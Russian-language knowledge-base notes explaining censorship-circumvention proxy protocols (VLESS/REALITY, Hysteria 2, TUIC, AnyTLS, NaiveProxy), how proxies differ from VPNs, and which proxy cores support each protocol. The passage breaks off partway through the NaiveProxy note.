![[Pasted image 20260202220111.png]] --- --- title: "🗺️ Протоколы обхода блокировок: карта и оглавление" date: 2026-07-25 tags: - протоколы - обход-блокировок - proxy aliases: - Обзор протоколов - Протоколы обхода блокировок - Карта протоколов --- # 🗺️ Протоколы обхода блокировок: карта и оглавление > [!info] О чём заметка > Точка входа в раздел про протоколы: чем протокол отличается от транспорта и от маскировки, какую задачу решает каждый из них и — главное — **какое ядро что поддерживает**. Отдельные разборы вынесены в атомарные заметки, ссылки ниже. Про сами ядра и выбор между ними — в [[Clash/08-vs-sing-box|сравнении mihomo, sing-box и Xray]]. ## TL;DR - Любая современная связка складывается из трёх слоёв: **протокол** (как устроены данные), **транспорт** (во что они упакованы), **маскировка** (как это выглядит для наблюдателя). В подписке они смешаны в одну строку, и путаница между ними — источник большинства ошибок настройки. - Протоколы-ветераны — [[protocols/shadowsocks|Shadowsocks]], [[protocols/vmess|VMess]], [[protocols/trojan|Trojan]] — рабочие, но у каждого есть исторический багаж: сломанные шифры, устаревшие режимы, отсутствие ответа на современный детект. - Сегодняшний мейнстрим — [[xray/vless|VLESS]] с [[xray/reality|REALITY]] по TCP и [[Hysteria/00-overview|Hysteria 2]] с [[protocols/tuic|TUIC]] по QUIC/UDP. - Отдельная линия — протоколы, целиком посвящённые маскировке: [[protocols/anytls|AnyTLS]], [[protocols/shadowtls|ShadowTLS]] и Restls, [[protocols/naiveproxy|NaiveProxy]]. - **Поддержка протокола ядром — не формальность, а жёсткое ограничение**: NaiveProxy есть только в sing-box; TUIC и ShadowTLS — не в Xray-core; Hysteria 2 в Xray-core появилась недавно (январь 2026) и настраивается иначе, чем у соседей. Сначала проверяйте поддержку, потом сравнивайте удобство. ## Три слоя, которые все путают Разберём на примере строк из подписки: «VLESS + WebSocket + TLS» или «Shadowsocks over ShadowTLS». **Протокол** отвечает за то, как устроены сами данные: как передаётся адрес назначения, как опознаётся пользователь, чем шифруется полезная нагрузка. Это [[protocols/shadowsocks|Shadowsocks]], [[protocols/vmess|VMess]], [[xray/vless|VLESS]], [[protocols/trojan|Trojan]], [[protocols/tuic|TUIC]], Hysteria. **Транспорт** — во что это соединение упаковано: прямой TCP (в Xray он же RAW), WebSocket, gRPC, [[xray/xhttp|XHTTP]], HTTPUpgrade, mKCP. Транспорт нужен, чтобы трафик проходил через CDN, обратные прокси и сети, где «просто TCP на нестандартный порт» подозрителен. Наборы у ядер не совпадают: в Xray отдельные транспорты HTTP/2 и QUIC **удалены** (в сентябре и декабре 2024, их заменил XHTTP в режиме `stream-one`), зато добавился транспорт `hysteria` с port hopping; у sing-box, наоборот, есть `http` и `quic`, но нет mKCP. **Защита и маскировка** — что видит наблюдатель: TLS (честное шифрование под своим доменом), [[xray/reality|REALITY]] (то же шифрование, но под прикрытием чужого сайта), [[protocols/shadowtls|ShadowTLS]] и Restls (чужое рукопожатие), набивка в [[protocols/anytls|AnyTLS]], сетевой стек Chromium в [[protocols/naiveproxy|NaiveProxy]], обфускации `restls`, `jls`, `obfs`. Разработчики Xray развели эти слои явно: в конфиге за транспорт отвечает свой параметр (`method`, до июля 2026 он назывался `network`), за защиту — отдельный `security`, и TLS с REALITY это его значения. Поэтому TLS в списке транспортов не значится, хотя его туда регулярно записывают. С 2026 года рядом появился и третий, самый нижний слой — `finalmask`: фрагментация, шум и прочая обработка уже готовых пакетов. Проще говоря: протокол — это что вы говорите, транспорт — на каком языке, маскировка — как вы при этом выглядите со стороны. Клиент и сервер обязаны совпадать по всем трём слоям; несовпадение любого — и соединение не устанавливается, хотя «ключ правильный». > [!note] Почему по названию профиля слои не всегда читаются > Самая ходовая строка — «VLESS + Reality + Vision» — под эту схему не раскладывается, и на ней удобно проверить себя. Транспорта в ней **нет вообще**: VLESS это протокол, [[xray/reality|REALITY]] — защита и маскировка, а транспорт подразумевается по умолчанию (прямой TCP, он же RAW) и просто не пишется, потому что с REALITY его и используют чаще всего. > > Отдельно про третье слово. **[[xray/xtls-vision|Vision]] — не маскировка, а четвёртая ось: управление потоком** (`flow`). Он не выдаёт ваше соединение за чужое и вообще ничего не изображает — он работает уже внутри установленного защищённого канала: добивает набивкой служебные пакеты и перестаёт шифровать поток повторно. Против детекта это помогает, но как дополняющее звено к маскировке, а не вместо неё. Так что читать название профиля как «протокол + транспорт + маскировка» по порядку слов нельзя: смотреть надо на параметры конфига, а не на количество слов через плюс. Внутри семейства VLESS этих слоёв на самом деле пять — к трём перечисленным добавляются `flow` (как передаётся поток внутри туннеля) и `encryption` (шифрование самого протокола). Разбор всех пяти осей вместе с матрицей рабочих комбинаций — в [[xray/vless-stack-map|карте слоёв VLESS-стека]]. ## Это прокси, а не VPN — и разница не в терминах Почти всё, что перечислено в этой заметке, — [[xray/vless|VLESS]], [[Hysteria/00-overview|Hysteria 2]], [[protocols/shadowsocks|Shadowsocks]], [[protocols/trojan|Trojan]], [[protocols/tuic|TUIC]], [[protocols/vmess|VMess]] — это **прокси-протоколы**. Настоящих VPN среди них ровно один — WireGuard (и его обфусцированные варианты вроде [[amnezia-2-0/reference|AmneziaWG]]); OpenVPN и Tailscale из таблицы ниже тоже VPN, но они здесь на положении соседей, а не героев раздела. Различие не косметическое, из него следуют вполне бытовые вещи: почему `ping` через туннель ничего не доказывает, почему можно гнать через прокси только YouTube, а не весь трафик, и почему на телефоне всё равно загорается значок VPN. **VPN работает на сетевом уровне.** Он берёт IP-пакет целиком — с заголовком, адресами, любым протоколом внутри, включая ICMP, — и упаковывает его как есть. Клиент получает собственный адрес внутри туннеля и, по сути, становится участником удалённой сети. Для этого системе нужен **виртуальный сетевой интерфейс** — TUN-адаптер: без него ядру операционной системы просто некуда отдавать эти пакеты. **Прокси работает на уровне соединений.** VLESS или Hysteria не знают ничего об IP-пакетах: клиент открывает к серверу соединение и говорит «пожалуйста, соедини меня с `youtube.com:443`», а дальше гоняет туда-обратно поток байтов. Никакого адреса внутри туннеля клиент не получает и полноценным узлом удалённой сети не становится. Виртуальный интерфейс для этого не нужен вовсе: достаточно локального SOCKS5- или HTTP-прокси на `127.0.0.1`, который вы прописываете в браузере или в системных настройках. > [!example] На пальцах > VPN — это переезд: вам выдают адрес в другом районе, и вся ваша почта, включая рекламные листовки и показания счётчика, идёт оттуда. Прокси — это курьер: вы отдаёте ему конкретное письмо с конкретным адресом на конверте, он относит и приносит ответ. Курьеру не нужен ваш почтовый ящик, а вам — новая прописка. ### Тогда почему это всё равно называют VPN Потому что поверх прокси-протокола можно надстроить **TUN-режим** — и большинство современных клиентов так и делают. Клиент поднимает виртуальный интерфейс, забирает с него IP-пакеты, сам собирает из них TCP-потоки и UDP-датаграммы, а потом переупаковывает в прокси-протокол. Снаружи это выглядит как VPN: заворачивается трафик всей системы, приложения ни о чём не подозревают. > [!important] «TUN» и «VPN» в интерфейсах клиентов — одно и то же > Если в приложении вы видите переключатель «VPN», «Режим VPN» или «VPN mode» — это он и есть, TUN-режим. Где-то он назван своим техническим именем («TUN Mode», «Режим Tun» — так у клиентов на [[Clash/02-mihomo|mihomo]]), где-то бытовым, а на мобильных вообще неотделим от подключения: нажали Connect — система подняла виртуальный интерфейс. Разница только в подписи на кнопке. Поэтому фраза «включи VPN-режим, иначе игра не пойдёт через туннель» технически означает «включи TUN», а не «смени протокол на VPN». Ключевое: **TUN — это отдельный механизм перехвата, а не свойство протокола**. Протокол от его включения не меняется ни на байт: по проводу уходит тот же VLESS или Hysteria, просто источник трафика теперь не браузер с настроенным прокси, а виртуальный интерфейс. Умеют его сегодня все три ядра, каждое своим инбаундом. У [[Clash/02-mihomo|mihomo]] и [[sing-box/sing-box-extended|sing-box]] он был давно. У [[xray/project-x|Xray-core]] нативный TUN приехал позже всех: инбаунд `"protocol": "tun"` влит 7 января 2026 и вышел в релизе **v26.1.13**, поначалу — Windows, Linux и Android. Дальше добавляли по частям: macOS в январе, iOS в конце января, FreeBSD в апреле; тогда же (апрель 2026) появились поля `gateway`, `dns`, `autoSystemRoutingTable` и `autoOutboundsInterface`. На Windows интерфейс создаётся через Wintun, и поле `dns` действует тоже только там. Две последние настройки стоит понимать точно. `autoSystemRoutingTable` — не переключатель, а **список подсетей**, которые вы перечисляете сами (`["0.0.0.0/0", "::/0"]` для всего трафика), и Xray прописывает их в системную таблицу маршрутизации; на Windows это работает с апреля 2026, на macOS и Linux — с июня, на FreeBSD маршруты по-прежнему руками. `autoOutboundsInterface` привязывает исходящие соединения самого Xray к физическому интерфейсу, чтобы его собственный трафик не заворачивался обратно в туннель и не зацикливался. У [[Hysteria/config-client|клиента Hysteria 2]] режим тоже встроен — Linux, macOS, Windows и Android, — а рядом с ним живут SOCKS5, HTTP, проброс портов и, **только на Linux**, [[Hysteria/tproxy|прозрачное проксирование через TPROXY]] и redirect. > [!warning] «Ядро умеет» и «ваш клиент этим пользуется» — разные вещи > Клиенты на mihomo и sing-box поднимают родной `tun` своего ядра, а вот у клиентов на Xray исторически сложилось иначе — своего TUN у ядра не было до 2026 года, и обходились чужим. Показательный пример: **v2rayN** проксирует через Xray, а TUN-режим по умолчанию до сих пор поднимает **отдельным процессом sing-box** (в шаблонах программы лежит sing-box-конфиг с `"type": "tun"` и интерфейсом `singbox_tun`). Нативный TUN Xray он тоже уже умеет — с версии 7.21.0 на Windows и 7.23.1 на Linux и macOS, — но включается это отдельной галочкой, подписанной как выбор между sing-box TUN и Xray TUN. У v2rayNG похожая история: по умолчанию встроенный `hev-socks5-tunnel`, хотя отдать дескриптор нативному TUN Xray он тоже научился. > > Практический вывод: вопрос «есть ли TUN у ядра» и вопрос «что именно поднимает ваша программа» — разные, и второй решается в настройках клиента, а не выбором протокола. > > Механизм при этом молодой и активно допиливается: на август 2026 в трекере висят открытые issue про утечку DNS в TUN-режиме и про определение имени процесса у высокопривилегированных программ на Windows. Так что если планируете опираться на нативный TUN Xray — проверяйте на своей версии и своей ОС, а не считайте по документации. > [!note] На Android и iOS правила другие > Там ни одно ядро не может поднять интерфейс само — это привилегия системы. Приложение запрашивает у неё разрешение (на Android — механизмом VpnService), получает файловый дескриптор уже созданного интерфейса и передаёт его ядру: Xray принимает его через переменную окружения `XRAY_TUN_FD`. Отсюда и значок «ключик» на телефоне — приложение честно оформило VPN-разрешение, потому что иначе до пакетов не дотянется. По проводу при этом всё равно уходит прокси-протокол. ### Что из этого следует на практике - **ICMP не переносится прокси-протоколом.** VLESS, Trojan, Shadowsocks, Hysteria и TUIC умеют только TCP и UDP, поэтому `ping` до удалённого адреса «через туннель» на самом деле туда не доезжает. При этом в TUN-режиме команда `ping` обычно отрабатывает и показывает какие-то миллисекунды: ядро отвечает на echo-запрос само, локально, не проверяя реальную доступность (так делают и Xray, и mihomo; sing-box с версии 1.13 умеет ещё и маршрутизировать ICMP отдельным типом правил). Практический вывод от этого не меняется, а становится жёстче: **пинг через туннель не доказывает вообще ничего** — ни доступности сервера, ни работы прокси. - **Без TUN проксируется только то, что вы настроили.** Браузеры умеют SOCKS5 сами, многие программы — нет. Это не недостаток, а рычаг: можно пустить через прокси один браузер, а всё остальное оставить напрямую. - **Маршрутизация по доменам возможна только у прокси.** Раз клиент знает имя назначения до подключения, он может решить «этот домен — напрямую, тот — через сервер». VPN на уровне IP-пакетов такого не умеет — он видит только адреса. Механизм разобран сразу после списка. - **Утечки в обход туннеля работают иначе.** У прокси без TUN мимо туннеля идёт всё, что не настроено на прокси, а при TUN-режиме — трафик приложений, которые ходят в обход системного стека. Это отдельная тема: см. [[VLESS-localhost-protection-guide|защиту локальных сервисов]]. - **Сервер не даёт вам «локальную сеть».** Достучаться до устройств в сети сервера или раздать через него подсеть, как с WireGuard, не выйдет — прокси проксирует соединения, а не соединяет сети. ### Механизм маршрутизации: откуда прокси знает домен Фраза «прокси умеет ходить по доменам» звучит как магия, поэтому стоит разобрать, из чего она складывается. Механизмов здесь три, и работают они на разных этапах. **Первое — имя приходит от самого приложения.** В протоколе SOCKS5 адрес назначения может быть указан не числом, а строкой: браузер честно передаёт `youtube.com` и порт, не резолвя домен самостоятельно. У HTTP-прокси то же самое в запросе `CONNECT`. Дальше это имя едет внутри прокси-протокола — у [[xray/vless|VLESS]] оно лежит в заголовке запроса, у остальных примерно так же. То есть ядру ничего не приходится угадывать: домен известен до того, как соединение установлено. **Второе — правила маршрутизации в ядре.** Получив запрос, ядро прогоняет его через список правил и решает, куда отдать: через сервер, напрямую или в блок. Условием бывает не только домен, но и IP-подсеть, порт, сеть (TCP или UDP), имя процесса-инициатора. Чтобы не перечислять тысячи доменов руками, используют готовые наборы — `geosite` (списки сайтов по категориям и странам) и `geoip` (диапазоны адресов); в разных ядрах они называются `geosite`/`geoip`, `rule-set` или `rule-provider`. Устройство правил разобрано в [[xray/routing|маршрутизации Xray]] и [[Clash/04-rules|правилах mihomo]]. **Третье — восстановление имени, когда его нет.** В TUN-режиме ядро получает не запрос с доменом, а сырые IP-пакеты, где имени уже не осталось: приложение отрезолвило домен само и подключается к адресу. Здесь включаются два обходных механизма. **Сниффер** заглядывает в начало соединения и достаёт имя хоста из TLS-расширения SNI, заголовка `Host` или QUIC-рукопожатия. **Fake-IP** действует раньше: ядро само отвечает на DNS-запрос подставным адресом из служебного диапазона `198.18.0.0/15` (mihomo по умолчанию берёт из него `/16`) и запоминает, какому домену он соответствует, — а когда приложение подключается к этому адресу, восстанавливает имя по таблице. Оба термина подробно расписаны в [[Clash/09-glossary|словаре терминов]]. > [!note] Почему у VPN так не получится > WireGuard работает с IP-пакетами и видит только адреса, поэтому единственный доступный ему способ разделить трафик — `AllowedIPs`, то есть список подсетей. Домен в пакете просто не записан: он был в DNS-запросе, который случился раньше и отдельно. Обойти это можно только внешними костылями — резолвить домены в адреса заранее и подставлять их в список, — но у крупных сайтов адреса меняются и делятся с сотнями других сервисов, так что точность такого «роутинга по доменам» получается низкой. Именно поэтому селективное проксирование по спискам сайтов — родная функция прокси-ядер и головная боль у чистого VPN. ## Какое ядро что поддерживает Таблица — срез на **25 июля 2026** по документации проектов. Это самый практичный раздел заметки: расхождения между ядрами лежат не в базовом наборе, а на краях списка. | Протокол | [[Clash/02-mihomo\|mihomo]] | [[sing-box/sing-box-extended\|sing-box]] | [[xray/project-x\|Xray-core]] | |---|---|---|---| | Shadowsocks | ✅ | ✅ | ✅ | | VMess | ✅ | ✅ | ✅ | | VLESS (REALITY, Vision) | ✅ | ✅ | ✅ (первым получает новинки) | | Trojan | ✅ | ✅ | ✅ | | WireGuard | ✅ | ✅ | ✅ | | Hysteria 2 | ✅ | ✅ | ✅ (клиент с v26.1.23, январь 2026; серверный вход только с v26.3.23, февраль; в конфиге зовётся `hysteria` с `version: 2`) | | TUIC | ✅ | ✅ | ❌ | | ShadowTLS | ✅ (не отдельный тип, а обёртка к другим протоколам) | ✅ (отдельный тип) | ❌ | | AnyTLS | ✅ | ✅ | ❌ | | Snell | ✅ | только в 1.14-beta | ❌ | | SSH | ✅ | ✅ | ❌ | | **NaiveProxy** | ❌ | ✅ | ❌ | | Tailscale | ✅ | ✅ (как endpoint) | ❌ | | OpenVPN | ✅ | только в 1.14-beta (endpoint: и клиент, и сервер) | ❌ | | Mieru, MASQUE, Sudoku, TrustTunnel | ✅ | только в форке [[sing-box/sing-box-extended\|sing-box-extended]] | ❌ | | ShadowQUIC | ✅ (с июля 2026) | ❌ (нет и в форке) | ❌ | | GOST-реле | ✅ | ❌ | ❌ | > [!warning] Таблицу перепроверяйте под свою версию > Таблица сверена с официальной документацией всех трёх проектов 25 июля 2026 (списки inbound/outbound у Xray-core и sing-box, раздел proxies у mihomo). Поддержка меняется от релиза к релизу: в mihomo OpenVPN и Tailscale появились в мае 2026, ShadowQUIC — в июле, а в Xray-core Hysteria 2 — в январе 2026. Ячейка «нет» означает «не было на 25 июля 2026», а не «не будет никогда». Перед покупкой подписки или выбором ядра сверяйтесь с документацией **вашей** версии — и помните, что старое ядро внутри свежего графического клиента не умеет ничего нового (см. [[Clash/07-clients|заметку про клиенты]]). ## Заметки раздела **Протоколы-ветераны:** - [[protocols/shadowsocks|Shadowsocks]] — родоначальник жанра: почему старые шифры небезопасны и что изменила редакция 2022 (SIP022). - [[protocols/vmess|VMess]] — протокол V2Ray, `alterId`, режим AEAD и уязвимость к активному зондированию. - [[protocols/trojan|Trojan]] — прокси внутри настоящего TLS с откатом на веб-сайт при неверном пароле. **QUIC и UDP:** - [[protocols/tuic|TUIC]] — 0-RTT, честный UDP и Full Cone NAT; отличия v4 и v5. - [[Hysteria/00-overview|Hysteria 2]] — QUIC-протокол с маскировкой под HTTP/3 и контролем перегрузки Brutal (отдельный раздел vault). **Маскировка как основная задача:** - [[protocols/anytls|AnyTLS]] — набивка и пул сессий против детекта «TLS внутри TLS». - [[protocols/shadowtls|ShadowTLS и Restls]] — чужое рукопожатие вместо своего домена и история обнаружения версии v3. - [[protocols/naiveproxy|NaiveProxy]] — сетевой стек Chromium, туннель HTTP/2 CONNECT и фронтинг приложения. **Соседние разделы vault:** - [[xray/vless|VLESS]], [[xray/reality|REALITY]], [[xray/xtls-vision|XTLS Vision]], [[xray/xhttp|XHTTP]] — сегодняшний мейнстрим и его составные части. - [[xray/vless-encryption|VLESS Encryption]] — встроенное пост-квантовое шифрование самого протокола (с сентября 2025) и [[xray/vless-stack-map|карта слоёв VLESS-стека]] — матрица, какие сочетания транспорта, маскировки, `flow` и `encryption` вообще работают. - [[mtproxy/mtproto-zig|MTProto-прокси]] — специализированный протокол для Telegram. - [[amnezia-2-0/reference|AmneziaWG 2.0]] — обфускация WireGuard: мусорные пакеты, подменяемые заголовки, мимикрия под QUIC и DNS. - [[amnezia-3-0/reference|AmneziaWG 3.0]] — третье поколение (июль 2026): шифрование заголовков пакетов; вышло вместе с [[amnezia-3-0/client-5-0-0-5|приложением AmneziaVPN 5.0.0.5]], побайтовая механика — в [[amnezia-3-0/internals|разборе внутреннего устройства]]. ## Как выбирать протокол под задачу Короткий разбор по ситуациям — подробности в самих заметках. **Обычный домашний доступ в сети с умеренной фильтрацией.** Берите [[xray/vless|VLESS]] + [[xray/reality|REALITY]]: не нужен свой домен, есть ответ на детект «TLS внутри TLS», поддерживается всеми тремя ядрами. Это дефолт, от которого стоит отклоняться осознанно. **Плохой канал: мобильная сеть, потери пакетов, высокая задержка.** Смотрите в сторону QUIC: [[Hysteria/00-overview|Hysteria 2]] с контролем перегрузки [[Hysteria/bandwidth-brutal|Brutal]] или [[protocols/tuic|TUIC]] с его 0-RTT. Обязательно держите TCP-вариант запасным — UDP режут далеко не везде одинаково. **Жёсткий DPI, который отбирает соединения по TLS-отпечатку.** Здесь выигрывают решения, у которых почерк не отличается от браузерного: [[protocols/naiveproxy|NaiveProxy]] радикально (это и есть стек Chrome) или uTLS-отпечатки в связке с VLESS. Учитывайте, что NaiveProxy сужает выбор ядра до sing-box. **Уже есть домен и сайт.** [[protocols/trojan|Trojan]] и [[protocols/anytls|AnyTLS]] встраиваются в такую конфигурацию естественно — прокси прячется за реальным веб-присутствием. **Легаси-сервер, который менять не хотят.** [[protocols/shadowsocks|Shadowsocks]] в редакции 2022 или [[protocols/vmess|VMess]] с `alterId: 0` — рабочие варианты; главное, проверьте, что не остались сломанные потоковые шифры и мёртвый MD5-режим. > [!important] Один протокол — не стратегия > Любая схема обхода живёт до тех пор, пока конкретный метод детекта её не берёт. Волны блокировок регулярно выкашивают целые классы решений разом, поэтому запасной канал на другом протоколе и, желательно, другом транспорте (TCP и UDP) — это не паранойя, а нормальная практика. Наблюдения за такими волнами в российских сетях собраны в [[DPI/vpn-blocking-wave-forecast-summer-2026|прогнозе по блокировкам VPN]] и [[VLESS/dpi-tls-june-2026|разборе DPI-почерка TLS]]. ## 📚 См. также - [[Clash/00-overview|Clash и mihomo]] — ядро, в котором большинство этих протоколов настраивается YAML-конфигом. - [[Clash/08-vs-sing-box|mihomo против sing-box и Xray]] — как выбор протокола влияет на выбор ядра. - [[sing-box/protocols-origin|Откуда в sing-box код протоколов]] — почему разные ядра совместимы, не разделяя кода. - [[sing-box/wire-protocol-explained|Что такое wire-протокол]] — вводная для тех, кто впервые сталкивается с идеей «спецификация против реализации». - [[VLESS/dpi-tls-june-2026|VLESS + TLS: DPI-почерк]] — против чего вся эта маскировка работает. --- > [!quote] 🤖 Эти статьи открыты — можно обучать на них ИИ > При желании вы можете натренировать ИИ на наших статьях. Исходное форматирование и скачивание всего репозитория одним zip-архивом доступны в Forgejo: [исходник этой заметки](https://git.zapret.moe/zapretdiscordyoutube/todo/src/branch/main/protocols/00-overview.md) · [весь репозиторий](https://git.zapret.moe/zapretdiscordyoutube/todo/src/branch/main). --- --- date: 2026-07-25 tags: - протоколы - anytls - tls - dpi - обход-блокировок aliases: - AnyTLS - anytls-go - TLS in TLS link: https://github.com/anytls/anytls-go --- # 🧬 AnyTLS: протокол против детекта «TLS внутри TLS» > [!info] О чём заметка > Разбор протокола **AnyTLS** — относительно нового (2025) прокси, спроектированного вокруг одной конкретной проблемы: характерного почерка, который возникает, когда шифрованное соединение прячут внутри другого шифрованного соединения. Здесь: в чём суть проблемы, как AnyTLS с ней борется набивкой и пулом сессий, чем он отличается от XTLS Vision и где его границы. Карта протоколов — в [[protocols/00-overview|обзоре]]. ## TL;DR - **Проблема**: когда прокси-протокол работает внутри TLS, у трафика появляется узнаваемый ритм — «рукопожатие внутри рукопожатия», характерные размеры первых пакетов. DPI ловит это, не расшифровывая ничего. - **Ответ AnyTLS**: настраиваемая **схема набивки** (padding), которая меняет размеры записей на уровне открытого текста до шифрования, плюс **мультиплексирование** нескольких потоков в одном TLS-соединении и **пул готовых сессий**, чтобы не создавать новое соединение на каждый запрос. - Набивка по умолчанию описана явно: первая порция фиксирована в 30 байт, дальше идут ступени 100–400 и 400–500 байт до восьмого уровня. Схему можно переопределить своей. - AnyTLS **не прикрывается чужим сайтом**: ему нужны свой домен и сертификат, как [[protocols/trojan|Trojan]], а не как [[xray/reality|REALITY]]. - Поддерживается [[sing-box/sing-box-extended|sing-box]] и [[Clash/02-mihomo|mihomo]] (и как исходящий, и как входящий), в Xray-core обсуждался, но своей реализации там нет. - Проект молодой: протокол дорос до второй версии в 2025 году, оценки эффективности пока предварительные — закладываться на него как на «серебряную пулю» рано. ## Проблема: почему «TLS внутри TLS» видно Разберём подробно, потому что весь смысл AnyTLS — в этой задаче. Когда вы через прокси открываете HTTPS-сайт, происходит следующее. Сначала ваш клиент устанавливает **внешнее** TLS-соединение с прокси-сервером — это то, что видит провайдер. Затем внутри этого канала браузер устанавливает **внутреннее** TLS-соединение уже с самим сайтом. Провайдер не может прочитать ни то, ни другое: всё зашифровано. Но ему и не нужно читать. Ему достаточно смотреть на **размеры и тайминги**. Обычный визит на сайт начинается с рукопожатия характерного вида и переходит к передаче данных. А в случае прокси сразу после установления внешнего канала внутри идёт **ещё одно рукопожатие** — со своим узнаваемым набором размеров записей и своим ритмом «запрос-ответ-запрос». Наблюдатель видит зашифрованный поток, у которого первые несколько пакетов складываются в характерную картинку, не встречающуюся при обычном веб-сёрфинге. Проще говоря: вас выдаёт не содержимое, а форма — как силуэт человека под одеялом. Подробно этот класс детекта и его развитие в российских сетях разобраны в [[VLESS/dpi-tls-june-2026|заметке про DPI-почерк TLS июня 2026]]. Известные ответы на проблему различаются по подходу. **XTLS Vision** (в экосистеме [[xray/project-x|Xray]]) распознаёт внутреннее рукопожатие и после его завершения перестаёт накладывать второй слой шифрования, передавая данные напрямую — силуэт исчезает, потому что исчезает второе одеяло. **AnyTLS** идёт другим путём: он оставляет структуру как есть, но **меняет её форму набивкой**. ## Как устроен AnyTLS **Оболочка.** AnyTLS заворачивает произвольный прокси-трафик в стандартный TLS — совместимость с обычной TLS-инфраструктурой сохраняется, никаких экзотических расширений не требуется. **Схема набивки (padding scheme).** Ключевой механизм: перед шифрованием AnyTLS добивает записи до заданных размеров, разрушая ту самую характерную последовательность. Схема по умолчанию, по [документации протокола](https://github.com/anytls/anytls-go/blob/main/docs/protocol.md), устроена ступенями: первая порция фиксирована в 30 байт, для небольших данных используется набивка 100–400 байт, для средних и крупных — цепочки 400–500 байт, и так до восьмого уровня (`stop=8`), после чего набивка прекращается. Схему можно заменить своей — в этом смысл названия: **вы управляете тем, как выглядит поведение вашего трафика**. **Сессии и мультиплексирование.** AnyTLS мультиплексирует несколько логических потоков в одном TLS-соединении и держит **пул простаивающих сессий** со стратегией «использовать самую свежую, вычищать самые старые». Это снижает накладные расходы на установление соединений и заодно убирает ещё один демаскирующий признак: у прокси-клиента иначе получается подозрительно много одинаковых коротких TLS-соединений подряд. **Версия 2 протокола** (2025) добавила обратную связь о состоянии сервера и работу с перегрузкой туннеля — это про качество связи, а не про маскировку. ## Чего AnyTLS не делает Здесь важно не переоценить инструмент. **Он не прикрывается чужим сайтом.** В отличие от [[xray/reality|REALITY]], AnyTLS не выдаёт себя за постороннего — ему нужен собственный домен и сертификат. Значит, остаются те же следы, что у [[protocols/trojan|Trojan]]: домен зарегистрирован, сертификат попал в публичные логи прозрачности, а сам сервер должен выглядеть правдоподобно для активной проверки. **Он не делает трафик невидимым.** Набивка меняет форму, но форма — это статистика, а статистику можно изучать. Разработчики цензурных систем видят те же публичные спецификации и могут строить классификаторы уже под характерное поведение набивки AnyTLS. Независимые оценки протокола пока сдержанные: в [обзорном материале Lantern](https://corpus.lantern.io/findings/2026-anon-anytls-anytls-sing-box-2026__anytls-protocol-comparison-performance-obfuscation/) его характеризуют как решение среднего уровня по производительности и обфускации на фоне соседей — то есть как рабочий вариант, а не прорыв. **Он не заменяет транспорт.** AnyTLS — про то, как выглядит поток внутри TLS. Проблемы уровня «в сети режут TLS на нестандартных портах» или «UDP заблокирован» он не решает. > [!warning] Молодой протокол — отдельный риск > AnyTLS появился в 2025 году, его вторая версия вышла в том же году, и объём независимого анализа пока невелик. У молодых протоколов регулярно находят и ошибки реализации, и неучтённые демаскирующие признаки — так было и с [[protocols/shadowtls|ShadowTLS]], чья третья версия считалась устойчивой, пока в 2025 году не показали обратное. Используйте AnyTLS как один из вариантов в арсенале, а не как единственную опору, и обновляйте ядро. ## Где поддерживается и как настраивается Реализации: эталонная **anytls-go**, а также порты на Rust. Из ядер AnyTLS поддерживают [[sing-box/sing-box-extended|sing-box]] и [[Clash/02-mihomo|mihomo]] — в последнем и как исходящее подключение, и как слушатель (то есть mihomo может быть сервером AnyTLS). В [[xray/project-x|Xray-core]] протокол обсуждался в issue-трекере, но собственной реализации нет — это как раз тот случай, когда список поддержки протоколов определяет выбор ядра. Настройка со стороны клиента минимальна: адрес, порт, пароль, домен для TLS и, при желании, своя схема набивки. Именно последнее отличает AnyTLS от большинства протоколов: **параметр маскировки вынесен в конфиг**, и его можно менять, не меняя протокол. ## 📚 См. также - [[protocols/00-overview|Обзор протоколов]] — карта задач и поддержки в ядрах. - [[VLESS/dpi-tls-june-2026|VLESS + TLS: DPI-почерк]] — подробно о проблеме, ради которой AnyTLS создан. - [[xray/xtls-vision|XTLS и Vision]] — альтернативный ответ на ту же проблему в экосистеме Xray. - [[protocols/shadowtls|ShadowTLS]] — другой подход к маскировке под TLS и история его обнаружения. - [[protocols/trojan|Trojan]] — протокол с похожими требованиями (свой домен и сертификат). - [[Clash/06-features-protocols|Возможности и протоколы mihomo]] — как AnyTLS выглядит в YAML-конфиге. - 🔗 [anytls/anytls-go](https://github.com/anytls/anytls-go) — эталонная реализация и документация протокола. --- > [!quote] 🤖 Эти статьи открыты — можно обучать на них ИИ > При желании вы можете натренировать ИИ на наших статьях. Исходное форматирование и скачивание всего репозитория одним zip-архивом доступны в Forgejo: [исходник этой заметки](https://git.zapret.moe/zapretdiscordyoutube/todo/src/branch/main/protocols/anytls.md) · [весь репозиторий](https://git.zapret.moe/zapretdiscordyoutube/todo/src/branch/main). --- --- date: 2026-07-25 tags: - протоколы - naiveproxy - tls - dpi - обход-блокировок aliases: - NaiveProxy - naive - Naïve link: https://github.com/klzgrad/naiveproxy --- # 🥷 NaiveProxy: прокси, который копирует настоящий Chrome > [!info] О чём заметка > Разбор **NaiveProxy** — прокси, построенного на сетевом стеке Chromium: вместо того чтобы придумывать очередную маскировку, он буквально повторяет поведение настоящего браузера. Здесь: как устроена схема с фронтенд-сервером, что даёт набивка первых пакетов, почему протокол поддерживается далеко не всеми ядрами и кому он подходит. Карта протоколов — в [[protocols/00-overview|обзоре]]. ## TL;DR - NaiveProxy использует **сетевой стек Chromium**, поэтому TLS-рукопожатие и поведение HTTP/2 у него не «похожи на браузер», а совпадают с настоящим Chrome — подделывать отпечаток не требуется. - Транспорт — **туннель HTTP/2 (или HTTP/3) CONNECT** внутри обычного TLS-соединения к веб-серверу. Со стороны это выглядит как визит на сайт с постоянным соединением. - Защита от активного зондирования сделана **фронтингом приложения**: фронтенд-сервер (обычно Caddy с плагином forwardproxy) маршрутизирует запрос по заголовку авторизации — без верных данных посетитель получает обычный сайт. - **Набивка первых восьми чтений и записей** случайными 0–255 байтами сглаживает распределение длин пакетов; дальше трафик идёт без набивки ради скорости. - Поддержка в ядрах ограничена: **есть в [[sing-box/sing-box-extended|sing-box]]** (и входящий, и исходящий), **нет в [[Clash/02-mihomo|mihomo]] и [[xray/project-x|Xray-core]]**. Это тот случай, когда протокол диктует выбор ядра. - Цена подхода — вес и негибкость: клиент тянет за собой кусок Chromium, а сервер требует отдельной связки с веб-сервером. ## Логика: не имитировать браузер, а быть им Большинство протоколов обхода решают задачу маскировки так: «сделаем трафик похожим на обычный HTTPS». Проблема в том, что похожесть всегда неполная. Программа на Go или Rust строит TLS-рукопожатие своей библиотекой, и набор шифров, расширений и их порядок отличается от браузерного — так рождается отпечаток, по которому инструмент опознают без всякой расшифровки (механика разобрана в [[DPI/browser-ja4-fingerprint-block|заметке про JA4-отпечатки]]). Отсюда целая индустрия подделки отпечатков — 